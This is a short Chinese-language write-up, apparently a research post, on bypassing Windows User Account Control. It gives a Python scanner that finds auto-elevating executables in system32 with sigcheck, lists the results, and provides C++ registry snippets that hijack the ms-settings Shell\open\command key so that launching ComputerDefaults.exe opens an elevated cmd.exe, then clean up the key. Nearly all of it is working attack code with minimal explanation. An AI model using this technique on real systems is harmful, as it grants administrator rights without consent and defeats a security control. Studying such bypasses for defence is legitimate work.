关于bypassuac的探究

1. 程序的manifest标识的配置属性 autoElevate 为true
2. 程序不弹出UAC弹窗
3. 从注册表里查询Shell\Open\command键值对

import os 
from subprocess import * 
 
path = 'c:\windows\system32' 
files = os.listdir(path) 
print(files) 
def GetFileList(path, fileList): 
    newDir = path 
    if os.path.isfile(path): 
        if path[-4:] == '.exe': 
            fileList.append(path) 
    elif os.path.isdir(path): 
        try: 
            for s in os.listdir(path): 
                newDir=os.path.join(path,s) 
                GetFileList(newDir, fileList) 
        except Exception as e: 
            pass 
    return fileList 
files = GetFileList(path, []) 
print(files) 

for eachFile in files: 
    if eachFile[-4:] == '.exe': 
        command = r'.\sigcheck64.exe -m {} | findstr auto'.format(eachFile) 
        print(command) 
        p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE) 
        if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'): 
            copy_command = r'copy {} .\success'.format(eachFile) 
            Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE) 
            print('[+] {}'.format(eachFile)) 
            with open('success.txt', 'at') as f: 
                f.writelines('{}\n'.format(eachFile))

c:\windows\system32\bthudtask.exe 
c:\windows\system32\changepk.exe 
c:\windows\system32\ComputerDefaults.exe 
c:\windows\system32\dccw.exe 
c:\windows\system32\dcomcnfg.exe 
c:\windows\system32\DeviceEject.exe 
c:\windows\system32\DeviceProperties.exe 
c:\windows\system32\djoin.exe 
c:\windows\system32\easinvoker.exe 
c:\windows\system32\EASPolicyManagerBrokerHost.exe 
c:\windows\system32\eudcedit.exe 
c:\windows\system32\eventvwr.exe 
c:\windows\system32\fodhelper.exe 
c:\windows\system32\fsquirt.exe 
c:\windows\system32\FXSUNATD.exe 
c:\windows\system32\immersivetpmvscmgrsvr.exe 
c:\windows\system32\iscsicli.exe 
c:\windows\system32\iscsicpl.exe 
c:\windows\system32\lpksetup.exe 
c:\windows\system32\MSchedExe.exe 
c:\windows\system32\msconfig.exe 
c:\windows\system32\msra.exe 
c:\windows\system32\MultiDigiMon.exe 
c:\windows\system32\newdev.exe 
c:\windows\system32\odbcad32.exe 
c:\windows\system32\PasswordOnWakeSettingFlyout.exe 
c:\windows\system32\pwcreator.exe 
c:\windows\system32\rdpshell.exe 
c:\windows\system32\recdisc.exe 
c:\windows\system32\rrinstaller.exe 
c:\windows\system32\shrpubw.exe 
c:\windows\system32\slui.exe 
c:\windows\system32\Sysprep\sysprep.exe 
c:\windows\system32\SystemPropertiesAdvanced.exe 
c:\windows\system32\SystemPropertiesComputerName.exe 
c:\windows\system32\SystemPropertiesDataExecutionPrevention.exe 
c:\windows\system32\SystemPropertiesHardware.exe 
c:\windows\system32\SystemPropertiesPerformance.exe 
c:\windows\system32\SystemPropertiesProtection.exe 
c:\windows\system32\SystemPropertiesRemote.exe 
c:\windows\system32\SystemSettingsAdminFlows.exe 
c:\windows\system32\SystemSettingsRemoveDevice.exe 
c:\windows\system32\Taskmgr.exe 
c:\windows\system32\tcmsetup.exe
c:\windows\system32\TpmInit.exe 
c:\windows\system32\WindowsUpdateElevatedInstaller.exe 
c:\windows\system32\WSReset.exe 
c:\windows\system32\wusa.exe

LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
);

LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

LSTATUS RegDeleteTreeA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey
);

::RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command",
        0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

::RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenA(filePath) + 1));

RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));

CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

char filePath[] = "C:\\Windows\\System32\\cmd.exe";